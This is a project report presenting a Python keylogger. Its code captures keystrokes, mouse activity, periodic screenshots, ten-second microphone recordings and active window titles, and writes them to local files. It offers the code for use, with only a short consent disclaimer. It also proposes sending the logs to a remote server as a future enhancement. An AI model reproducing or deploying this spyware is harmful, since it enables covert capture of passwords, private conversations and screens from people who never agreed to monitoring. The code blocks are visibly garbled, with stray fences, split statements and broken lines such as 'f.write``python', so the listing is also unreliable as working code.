



# Project Report: Advance Keylogger Application

## 1. Introduction

This report outlines the development of a keylogger application designed to capture keyboard inputs, mouse movements, screenshots, audio recordings, and the current window title on a user's machine. The application is built using Python and various libraries that facilitate interaction with system hardware and software.

## 2. Requirements

### 2.1 Software Requirements

- **Python 3.x:** A high-level programming language that serves as the foundation for the application.
- **Libraries:** The following Python libraries are required:
  - **pyautogui:** For taking screenshots.
  - **pynput:** For capturing keyboard and mouse events.
  - **PIL (Pillow):** For image processing.
  - **sounddevice:** For recording audio.
  - **soundfile:** For saving audio recordings.
  - **schedule:** For scheduling tasks.

### 2.2 Hardware Requirements

- A computer running a compatible operating system (Windows or Linux).
- Microphone (for audio recording).
- Sufficient disk space for storing logs, screenshots, and audio files.

## 3. Installation Steps

### 3.1 Install Python

1. Download Python from the [official website](#).
2. Follow the installation instructions for your operating system.
3. Ensure that Python is added to your system PATH to run it from the command line.

### 3.2 Install Required Libraries

Open a terminal or command prompt and install each of the required libraries using **pip**. Below are the commands for each library:

```
bash
```

```
pip install pyautogui
```

```
pip install pynput
```

```
pip install sounddevice
```

```
pip install soundfile
```

```
pip install schedule
```

```
pip install Pillow
```

### 3.3 Verify Installation

To verify that all libraries are installed correctly, you can run the following Python script:

```
python
```

```
import pyautogui
```

```
import pynput
```

```
import sounddevice
```

```
import soundfile
```

```
import schedule
```

```
from PIL import Image
```

If there are no errors, the installation was successful.

## 4. Code Explanation

The keylogger application consists of several components, each responsible for different functionalities:

### 4.1 Directory Setup

The application creates an output directory to store logs, screenshots, and audio files.python

```
output_folder = "output"

if not os.path.exists(output_folder):
    os.makedirs(output_folder)
```

### 4.2 Keyboard Logger

The keyboard logger captures key presses and releases, logging them to a text file.

```
python
def on_press(key):
    with open(os.path.join(output_folder, "keylog.txt"), "a") as f:
        f.write(f"{key} pressed at {datetime.datetime.now()}\n")
def on_release(key):
    if key == Key.esc:
        return False
```

### 4.3 Mouse Logger

The mouse logger captures mouse movements and clicks, logging them to a text file.python

```
def on_move(x, y):
    with open(os.path.join(output_folder, "mouselog.txt"), "a") as f:
        f.write(f"Mouse moved to ({x}, {y}) at {datetime.datetime.now()}\n")
def on_click(x, y, button, pressed):
    with open(os.path.join(output_folder, "mouselog.txt"), "a") as f:
        f.write(f"Mouse {button} {'pressed' if pressed else 'released'} at ({x}, {y}) at {datetime.datetime.now()}\n")
```

### 4.4 Screenshot Logger

The application takes a screenshot every 10 seconds and saves it with a timestamp.

```
python
def take_screenshot():
    img = pyautogui.screenshot()
```

```
img.save(os.path.join(output_folder,  
f"screenshot_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.png"))
```

## 4.5 Microphone Logger

The application records audio for 10 seconds every 10 seconds and saves it as a WAV file.

python

```
def record_audio():
```

```
    fs = 44100  
  
    duration = 10  
  
    recording = sd.rec(int(duration * fs), samplerate=fs, channels=2)  
  
    sf.write(os.path.join(output_folder,  
f"audio_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.wav"), recording, fs)
```

## 4.6 Window Logger

The application logs the title of the currently active window every 10 seconds.

python

```
def get_window_title():
```

```
    title = os.popen("xdotool getactivewindow getwindowname").read().strip()  
  
    with open(os.path.join(output_folder, "windowlog.txt"), "a") as f:  
        f.write``python  
        f.write(f"Window title: {title} at {datetime.datetime.now()}\n")
```

## 4.7 Scheduling Tasks

The application uses the **schedule** library to run the screenshot, audio recording, and window title logging functions every 10 seconds.

python

```
import schedule
```

```
# Schedule tasks
```

```
schedule.every(10).seconds.do(take_screenshot)
```

```
schedule``python
```

```
schedule.every(10).seconds.do(record_audio)
```

```
schedule.every(10).seconds.do(get_window_title)
```

```
while True:
```

```
    schedule.run_pending()
```

```
    time.sleep(1)
```

## 5. Conclusion

The keylogger application developed in this project effectively captures keyboard inputs, mouse movements, screenshots, audio recordings, and the active window title. The use of Python and its libraries allows for a simple yet powerful implementation of these functionalities.

### 5.1 Ethical Considerations

It is crucial to emphasize that this application should only be used in environments where users have given explicit consent to be monitored. Unauthorized use of keyloggers can lead to severe legal and ethical consequences.

### 5.2 Future Enhancements

Future iterations of this project could include:

- Implementing encryption for log files to protect sensitive information.
- Adding a user interface for easier interaction.
- Integrating with a remote server for real-time logging and monitoring.

### 5.3 References

- Python Official Website: <https://www.python.org/>
- PyAutoGUI Documentation: <https://pyautogui.readthedocs.io/>
- Pynput Documentation: <https://pynput.readthedocs.io/>
- Sounddevice Documentation: <https://python-sounddevice.readthedocs.io/>
- Schedule Documentation: <https://schedule.readthedocs.io/>
- Pillow Documentation: <https://pillow.readthedocs.io/>
- Xdotool Documentation: <http://www.xdotool.org/>